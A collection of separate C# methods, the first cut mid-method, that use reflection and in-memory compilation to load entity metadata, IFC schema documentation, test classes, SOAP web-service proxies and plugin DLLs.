(columnAttributes.Length > 0) { ColumnAttributeInfo colattr = new ColumnAttributeInfo(); ColumnAttribute colval = columnAttributes.ToList().Find(x => x.Alias == tableattr.Alias); if (colval == null) { throw new Exception("输入的Alias别名不正确"); } colattr.Alias = colval.Alias; colattr.DataKey = colval.DataKey; colattr.FieldName = colval.FieldName; colattr.IsInsert = colval.IsInsert; //colattr.IsSingleQuote=colval.is colattr.Match = colval.Match; colattr.PropertyName = property[n].Name; if (colattr.DataKey) { tableattr.DataKeyFieldName = colattr.FieldName;//设置TableAttributeInfo的主键字段名 tableattr.DataKeyPropertyName = colattr.PropertyName; } tableattr.ColumnAttributeInfoList.Add(colattr); } } eattr.TableAttributeInfoList.Add(tableattr); } entityAttributeList.Add(eattr); } } } cache.Add(cacheKey, entityAttributeList); }
/// <summary> /// Loads all content from a folder hierarchy (overlaying anything already existing) /// </summary> /// <param name="project"></param> /// <param name="path"></param> public static void Load(DocProject project, string path) { // get all files within folder hierarchy string pathSchema = path + @"\schemas"; IEnumerable <string> en = System.IO.Directory.EnumerateFiles(pathSchema, "*.cs", System.IO.SearchOption.AllDirectories); List <string> list = new List <string>(); foreach (string s in en) { list.Add(s); } string[] files = list.ToArray(); Dictionary <string, string> options = new Dictionary <string, string> { { "CompilerVersion", "v4.0" } }; Microsoft.CSharp.CSharpCodeProvider prov = new Microsoft.CSharp.CSharpCodeProvider(options); System.CodeDom.Compiler.CompilerParameters parms = new System.CodeDom.Compiler.CompilerParameters(); parms.GenerateInMemory = true; parms.GenerateExecutable = false; parms.ReferencedAssemblies.Add("System.dll"); parms.ReferencedAssemblies.Add("System.Core.dll"); parms.ReferencedAssemblies.Add("System.ComponentModel.dll"); parms.ReferencedAssemblies.Add("System.ComponentModel.DataAnnotations.dll"); parms.ReferencedAssemblies.Add("System.Data.dll"); parms.ReferencedAssemblies.Add("System.Runtime.Serialization.dll"); parms.ReferencedAssemblies.Add("System.Xml.dll"); System.CodeDom.Compiler.CompilerResults results = prov.CompileAssemblyFromFile(parms, files); System.Reflection.Assembly assem = results.CompiledAssembly; // look through classes of assembly foreach (Type t in assem.GetTypes()) { string[] namespaceparts = t.Namespace.Split('.'); string schema = namespaceparts[namespaceparts.Length - 1]; DocSection docSection = null; if (t.Namespace.EndsWith("Resource")) { docSection = project.Sections[7]; } else if (t.Namespace.EndsWith("Domain")) { docSection = project.Sections[6]; } else if (t.Namespace.Contains("Shared")) { docSection = project.Sections[5]; } else { docSection = project.Sections[4]; // kernel, extensions } // find schema DocSchema docSchema = null; foreach (DocSchema docEachSchema in docSection.Schemas) { if (docEachSchema.Name.Equals(schema)) { docSchema = docEachSchema; break; } } if (docSchema == null) { docSchema = new DocSchema(); docSchema.Name = schema; docSection.Schemas.Add(docSchema); docSection.SortSchemas(); } DocDefinition docDef = null; if (t.IsEnum) { DocEnumeration docEnum = new DocEnumeration(); docSchema.Types.Add(docEnum); docDef = docEnum; System.Reflection.FieldInfo[] fields = t.GetFields(System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public); foreach (System.Reflection.FieldInfo field in fields) { DocConstant docConst = new DocConstant(); docEnum.Constants.Add(docConst); docConst.Name = field.Name; DescriptionAttribute[] attrs = (DescriptionAttribute[])field.GetCustomAttributes(typeof(DescriptionAttribute), false); if (attrs.Length == 1) { docConst.Documentation = attrs[0].Description; } } } else if (t.IsValueType) { DocDefined docDefined = new DocDefined(); docSchema.Types.Add(docDefined); docDef = docDefined; PropertyInfo[] fields = t.GetProperties(System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public); docDefined.DefinedType = fields[0].PropertyType.Name; } else if (t.IsInterface) { DocSelect docSelect = new DocSelect(); docSchema.Types.Add(docSelect); docDef = docSelect; } else if (t.IsClass) { DocEntity docEntity = new DocEntity(); docSchema.Entities.Add(docEntity); docDef = docEntity; if (t.BaseType != typeof(object)) { docEntity.BaseDefinition = t.BaseType.Name; } if (!t.IsAbstract) { docEntity.EntityFlags = 0x20; } Dictionary <int, DocAttribute> attrsDirect = new Dictionary <int, DocAttribute>(); List <DocAttribute> attrsInverse = new List <DocAttribute>(); PropertyInfo[] fields = t.GetProperties(System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic | BindingFlags.DeclaredOnly); foreach (PropertyInfo field in fields) { DocAttribute docAttr = new DocAttribute(); docAttr.Name = field.Name.Substring(1); Type typeField = field.PropertyType; if (typeField.IsGenericType) { Type typeGeneric = typeField.GetGenericTypeDefinition(); typeField = typeField.GetGenericArguments()[0]; if (typeGeneric == typeof(Nullable <>)) { docAttr.IsOptional = true; } else if (typeGeneric == typeof(ISet <>)) { docAttr.AggregationType = (int)DocAggregationEnum.SET; } else if (typeGeneric == typeof(IList <>)) { docAttr.AggregationType = (int)DocAggregationEnum.LIST; } } docAttr.DefinedType = typeField.Name; MinLengthAttribute mla = (MinLengthAttribute)field.GetCustomAttribute(typeof(MinLengthAttribute)); if (mla != null) { docAttr.AggregationLower = mla.Length.ToString(); } MaxLengthAttribute mxa = (MaxLengthAttribute)field.GetCustomAttribute(typeof(MaxLengthAttribute)); if (mxa != null) { docAttr.AggregationUpper = mxa.Length.ToString(); } PropertyInfo propinfo = t.GetProperty(docAttr.Name); if (propinfo != null) { DescriptionAttribute da = (DescriptionAttribute)propinfo.GetCustomAttribute(typeof(DescriptionAttribute)); if (da != null) { docAttr.Documentation = da.Description; } } DataMemberAttribute dma = (DataMemberAttribute)field.GetCustomAttribute(typeof(DataMemberAttribute)); if (dma != null) { attrsDirect.Add(dma.Order, docAttr); RequiredAttribute rqa = (RequiredAttribute)field.GetCustomAttribute(typeof(RequiredAttribute)); if (rqa == null) { docAttr.IsOptional = true; } CustomValidationAttribute cva = (CustomValidationAttribute)field.GetCustomAttribute(typeof(CustomValidationAttribute)); if (cva != null) { docAttr.IsUnique = true; } } else { InversePropertyAttribute ipa = (InversePropertyAttribute)field.GetCustomAttribute(typeof(InversePropertyAttribute)); if (ipa != null) { docAttr.Inverse = ipa.Property; attrsInverse.Add(docAttr); } } // xml XmlIgnoreAttribute xia = (XmlIgnoreAttribute)field.GetCustomAttribute(typeof(XmlIgnoreAttribute)); if (xia != null) { docAttr.XsdFormat = DocXsdFormatEnum.Hidden; } else { XmlElementAttribute xea = (XmlElementAttribute)field.GetCustomAttribute(typeof(XmlElementAttribute)); if (xea != null) { if (!String.IsNullOrEmpty(xea.ElementName)) { docAttr.XsdFormat = DocXsdFormatEnum.Element; } else { docAttr.XsdFormat = DocXsdFormatEnum.Attribute; } } } } foreach (DocAttribute docAttr in attrsDirect.Values) { docEntity.Attributes.Add(docAttr); } foreach (DocAttribute docAttr in attrsInverse) { docEntity.Attributes.Add(docAttr); } // get derived attributes based on properties PropertyInfo[] props = t.GetProperties(BindingFlags.Instance | BindingFlags.DeclaredOnly | BindingFlags.Public); foreach (PropertyInfo prop in props) { // if no backing field, then derived FieldInfo field = t.GetField("_" + prop.Name, BindingFlags.NonPublic | BindingFlags.Instance); if (field == null) { DocAttribute docDerived = new DocAttribute(); docDerived.Name = prop.Name; docEntity.Attributes.Add(docDerived); } } } if (docDef != null) { docDef.Name = t.Name; docDef.Uuid = t.GUID; } docSchema.SortTypes(); docSchema.SortEntities(); } // pass 2: hook up selects foreach (Type t in assem.GetTypes()) { Type[] typeInterfaces = t.GetInterfaces(); if (typeInterfaces.Length > 0) { foreach (Type typeI in typeInterfaces) { DocSelect docSelect = project.GetDefinition(typeI.Name) as DocSelect; if (docSelect != null) { DocSelectItem docItem = new DocSelectItem(); docItem.Name = t.Name; docSelect.Selects.Add(docItem); } } } } // EXPRESS rules (eventually in C#, though .exp file snippets for now) en = System.IO.Directory.EnumerateFiles(pathSchema, "*.exp", System.IO.SearchOption.AllDirectories); foreach (string file in en) { string name = Path.GetFileNameWithoutExtension(file); string expr = null; using (StreamReader readExpr = new StreamReader(file, Encoding.UTF8)) { expr = readExpr.ReadToEnd(); } if (name.Contains('-')) { // where rule string[] parts = name.Split('-'); if (parts.Length == 2) { DocWhereRule docWhere = new DocWhereRule(); docWhere.Name = parts[1]; docWhere.Expression = expr; DocDefinition docDef = project.GetDefinition(parts[0]); if (docDef is DocEntity) { DocEntity docEnt = (DocEntity)docDef; docEnt.WhereRules.Add(docWhere); } else if (docDef is DocDefined) { DocDefined docEnt = (DocDefined)docDef; docEnt.WhereRules.Add(docWhere); } else if (docDef == null) { //... global rule... } } } else { // function string schema = Path.GetDirectoryName(file); schema = Path.GetDirectoryName(schema); schema = Path.GetFileName(schema); DocSchema docSchema = project.GetSchema(schema); if (docSchema != null) { DocFunction docFunction = new DocFunction(); docSchema.Functions.Add(docFunction); docFunction.Name = name; docFunction.Expression = expr; } } } // now, hook up html documentation en = System.IO.Directory.EnumerateFiles(pathSchema, "*.htm", System.IO.SearchOption.AllDirectories); foreach (string file in en) { string name = Path.GetFileNameWithoutExtension(file); DocObject docObj = null; if (name == "schema") { string schema = Path.GetDirectoryName(file); schema = Path.GetFileName(schema); docObj = project.GetSchema(schema); } else if (name.Contains('-')) { // where rule string[] parts = name.Split('-'); if (parts.Length == 2) { DocDefinition docDef = project.GetDefinition(parts[0]); if (docDef is DocEntity) { DocEntity docEnt = (DocEntity)docDef; foreach (DocWhereRule docWhereRule in docEnt.WhereRules) { if (docWhereRule.Name.Equals(parts[1])) { docObj = docWhereRule; break; } } } else if (docDef is DocDefined) { DocDefined docEnt = (DocDefined)docDef; foreach (DocWhereRule docWhereRule in docEnt.WhereRules) { if (docWhereRule.Name.Equals(parts[1])) { docObj = docWhereRule; break; } } } } } else { docObj = project.GetDefinition(name); if (docObj == null) { docObj = project.GetFunction(name); } } if (docObj != null) { using (StreamReader readHtml = new StreamReader(file, Encoding.UTF8)) { docObj.Documentation = readHtml.ReadToEnd(); } } } // load schema diagrams en = System.IO.Directory.EnumerateFiles(pathSchema, "*.svg", System.IO.SearchOption.AllDirectories); foreach (string file in en) { string schema = Path.GetDirectoryName(file); schema = Path.GetFileName(schema); DocSchema docSchema = project.GetSchema(schema); if (docSchema != null) { using (IfcDoc.Schema.SVG.SchemaSVG schemaSVG = new IfcDoc.Schema.SVG.SchemaSVG(file, docSchema, project)) { schemaSVG.Load(); } } } // psets, qsets //... // exchanges en = System.IO.Directory.EnumerateFiles(path, "*.mvdxml", System.IO.SearchOption.AllDirectories); foreach (string file in en) { IfcDoc.Schema.MVD.SchemaMVD.Load(project, file); } // examples string pathExamples = path + @"\examples"; if (Directory.Exists(pathExamples)) { en = System.IO.Directory.EnumerateFiles(pathExamples, "*.htm", SearchOption.TopDirectoryOnly); foreach (string file in en) { DocExample docExample = new DocExample(); docExample.Name = Path.GetFileNameWithoutExtension(file); project.Examples.Add(docExample); using (StreamReader reader = new StreamReader(file)) { docExample.Documentation = reader.ReadToEnd(); } string dirpath = file.Substring(0, file.Length - 4); if (Directory.Exists(dirpath)) { IEnumerable <string> suben = System.IO.Directory.EnumerateFiles(dirpath, "*.ifc", SearchOption.TopDirectoryOnly); foreach (string ex in suben) { DocExample docEx = new DocExample(); docEx.Name = Path.GetFileNameWithoutExtension(ex); docExample.Examples.Add(docEx); // read the content of the file using (FileStream fs = new FileStream(ex, FileMode.Open, FileAccess.Read)) { docEx.File = new byte[fs.Length]; fs.Read(docEx.File, 0, docEx.File.Length); } // read documentation string exdoc = ex.Substring(0, ex.Length - 4) + ".htm"; if (File.Exists(exdoc)) { using (StreamReader reader = new StreamReader(exdoc)) { docEx.Documentation = reader.ReadToEnd(); } } } } } } // localization en = System.IO.Directory.EnumerateFiles(path, "*.txt", System.IO.SearchOption.AllDirectories); foreach (string file in en) { using (FormatCSV format = new FormatCSV(file)) { try { format.Instance = project; format.Load(); } catch { } } } }
/// <summary> /// Enumerates files in current directory and finds tests. /// </summary> /// <returns>List of tests loaded.</returns> public List <TestInfo> LoadTests() { _testInfos = new List <TestInfo>(); string location = Assembly.GetExecutingAssembly().Location; string path = Path.GetDirectoryName(location); foreach (string file in Directory.GetFiles(path, "*.dll")) { try { System.Reflection.Assembly assembly = Assembly.LoadFile(file); if (assembly.GetCustomAttributes( typeof(TestAssemblyAttribute), false).Length > 0) { // Test assembly foreach (Type t in assembly.GetTypes()) { object[] attrs = t.GetCustomAttributes(typeof(TestClassAttribute), true); if (attrs.Length > 0) { if (t.IsSubclassOf(typeof(Tests.Common.TestBase.BaseTest))) { foreach (MethodInfo mi in t.GetMethods()) { object[] testAttributes = mi.GetCustomAttributes(typeof(TestAttribute), true); if (testAttributes.Length > 0) { TestAttribute attribute = (TestAttribute)testAttributes[0]; TestInfo existing = _testInfos.Where(ti => ti.Order == attribute.Order).FirstOrDefault(); if (existing != null) { System.Diagnostics.Debug.WriteLine(string.Format("One more test with order {0} found {1}", attribute.Order, attribute.Name)); if (existing.Version > attribute.Version) { System.Diagnostics.Debug.WriteLine("Leave test already loaded"); continue; } else { System.Diagnostics.Debug.WriteLine("Reload newer test"); _testInfos.Remove(existing); } } TestInfo testInfo = new TestInfo(); testInfo.Method = mi; testInfo.Name = attribute.Name; testInfo.Group = attribute.Path; testInfo.Order = attribute.Order; testInfo.Version = attribute.Version; testInfo.Interactive = attribute.Interactive; testInfo.RequirementLevel = attribute.RequirementLevel; testInfo.RequiredFeatures.AddRange(attribute.RequiredFeatures); testInfo.Services.AddRange(attribute.Services); _testInfos.Add(testInfo); } } } } } } } catch (Exception exc) { } } View.DisplayTests(_testInfos); if (TestsLoaded != null) { TestsLoaded(_testInfos); } return(_testInfos); }
public static object InvokeWebService(string url, string classname, string methodname, object[] args, string import) { string @namespace = "EnterpriseServerBase.WebService.DynamicWebCalling"; if ((classname == null) || (classname == "")) { classname = WebServiceTool.GetWsClassName(url); } //try //{ //获取WSDL WebClient wc = new WebClient(); ServiceDescriptionImporter sdi = new ServiceDescriptionImporter(); if (!url.ToLower().Contains("?wsdl")) { url = url + "?wsdl"; } Stream stream = wc.OpenRead(url); ServiceDescription sd = ServiceDescription.Read(stream); sdi.AddServiceDescription(sd, "", ""); if (import != "") { string[] urls = import.Split(','); foreach (string addr in urls) { string u = addr; if (!addr.ToLower().Contains("?wsdl")) { u = addr + "?wsdl"; } stream = wc.OpenRead(u); sd = ServiceDescription.Read(stream); sdi.AddServiceDescription(sd, "", ""); } } CodeNamespace cn = new CodeNamespace(@namespace); //生成客户端代理类代码 CodeCompileUnit ccu = new CodeCompileUnit(); ccu.Namespaces.Add(cn); sdi.Import(cn, ccu); CSharpCodeProvider icc = new CSharpCodeProvider(); //ICodeCompiler icc = csc.CreateCompiler(); //设定编译参数 CompilerParameters cplist = new CompilerParameters(); cplist.GenerateExecutable = false; cplist.GenerateInMemory = true; cplist.ReferencedAssemblies.Add("System.dll"); cplist.ReferencedAssemblies.Add("System.XML.dll"); cplist.ReferencedAssemblies.Add("System.Web.Services.dll"); cplist.ReferencedAssemblies.Add("System.Data.dll"); //编译代理类 CompilerResults cr = icc.CompileAssemblyFromDom(cplist, ccu); if (true == cr.Errors.HasErrors) { System.Text.StringBuilder sb = new System.Text.StringBuilder(); foreach (System.CodeDom.Compiler.CompilerError ce in cr.Errors) { sb.Append(ce.ToString()); sb.Append(System.Environment.NewLine); } throw new Exception(sb.ToString()); } //生成代理实例,并调用方法 System.Reflection.Assembly assembly = cr.CompiledAssembly; string sb1 = ""; foreach (var t1 in assembly.GetTypes()) { sb1 += t1.Name + " || "; } //throw new Exception(sb1); //return null; Type t = assembly.GetType(@namespace + "." + classname, true, true); object obj = Activator.CreateInstance(t); System.Reflection.MethodInfo mi = t.GetMethod(methodname); return(mi.Invoke(obj, args)); //} //catch (Exception ex) //{ // throw new Exception(ex.InnerException.Message, new Exception(ex.InnerException.StackTrace)); //} }
public void Load(string configDirectory, string libDirectory) { if (libDirectory == null) { throw new Exception("SuiteDirectory is null"); } if (configDirectory == null) { throw new Exception("ConfigDirectory is null"); } SortedList <Type, string> types = new SortedList <Type, string>(new TypeComparer()); ArrayList trackingSuitesList = new ArrayList(); Type trackingType = typeof(CMSTrackingSuite); DirectoryInfo info = new DirectoryInfo(libDirectory); assemblies = new SortedList <string, Assembly>(); foreach (FileInfo fileInfo in info.GetFiles()) { if (!fileInfo.Extension.Equals(".dll")) { continue; } try { System.Reflection.Assembly assembly = System.Reflection.Assembly.LoadFile(fileInfo.FullName); AppDomain.CurrentDomain.Load(assembly.GetName()); assemblies[assembly.FullName] = assembly; } catch (Exception e) { } } { DirectoryInfo userLibInfo = new DirectoryInfo(CMSConstants.USER_LIB_DIRECTORY); foreach (FileInfo fileInfo in userLibInfo.GetFiles()) { if (!fileInfo.Extension.Equals(".dll")) { continue; } try { Assembly a = System.Reflection.Assembly.LoadFile(fileInfo.FullName); AppDomain.CurrentDomain.Load(a.GetName()); assemblies[a.FullName] = a; //foreach (AssemblyName an in a.GetReferencedAssemblies()) //AppDomain.CurrentDomain.Load(an); } catch (Exception e) { } } } AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(CurrentDomain_AssemblyResolve); foreach (Assembly assembly in assemblies.Values) { try { foreach (Type type in assembly.GetTypes()) { if (type.IsSubclassOf(trackingType)) { bool cont = false; foreach (Attribute curAttr in System.Attribute.GetCustomAttributes(type)) { if (curAttr is CMSIgnoreSuiteAtt) { cont = true; break; } } if (cont) { continue; } types[type] = assembly.FullName; } } } catch (Exception e) { } } types[typeof(CMSTrackingSuiteStandard)] = null; types[typeof(CMSEmptyTrackingSuite)] = null; foreach (Type type in types.Keys) { if (!type.IsSubclassOf(typeof(CMSTrackingSuite))) { continue; } string filename = configDirectory + "/" + type.ToString() + CMSConstants.SUITE_CONFIG_SUFFIX; bool fileExists = false; if (File.Exists(filename)) { fileExists = true; StreamReader inFile = null; try { inFile = new StreamReader(filename); XmlSerializer xmSer = new XmlSerializer(type); CMSTrackingSuite trackingSuite = xmSer.Deserialize(inFile) as CMSTrackingSuite; if (trackingSuite == null) { throw new Exception(); } AddSuite(trackingSuite); inFile.Close(); } catch (Exception e) { if (inFile != null) { inFile.Close(); } fileExists = false; File.Delete(filename); } } if (!fileExists) { try { CMSTrackingSuite trackingSuite = System.Activator.CreateInstance(type) as CMSTrackingSuite; if (trackingSuite == null) { continue; } XmlSerializer xmSer = new XmlSerializer(type); if (!Directory.Exists(Path.GetDirectoryName(filename))) { Directory.CreateDirectory(Path.GetDirectoryName(filename)); } FileStream fs = new FileStream(filename, FileMode.Create, FileAccess.ReadWrite, FileShare.Delete | FileShare.ReadWrite); StreamWriter outFile = new StreamWriter(fs); xmSer.Serialize(outFile, trackingSuite); AddSuite(trackingSuite); outFile.Close(); } catch (Exception e) { } } } }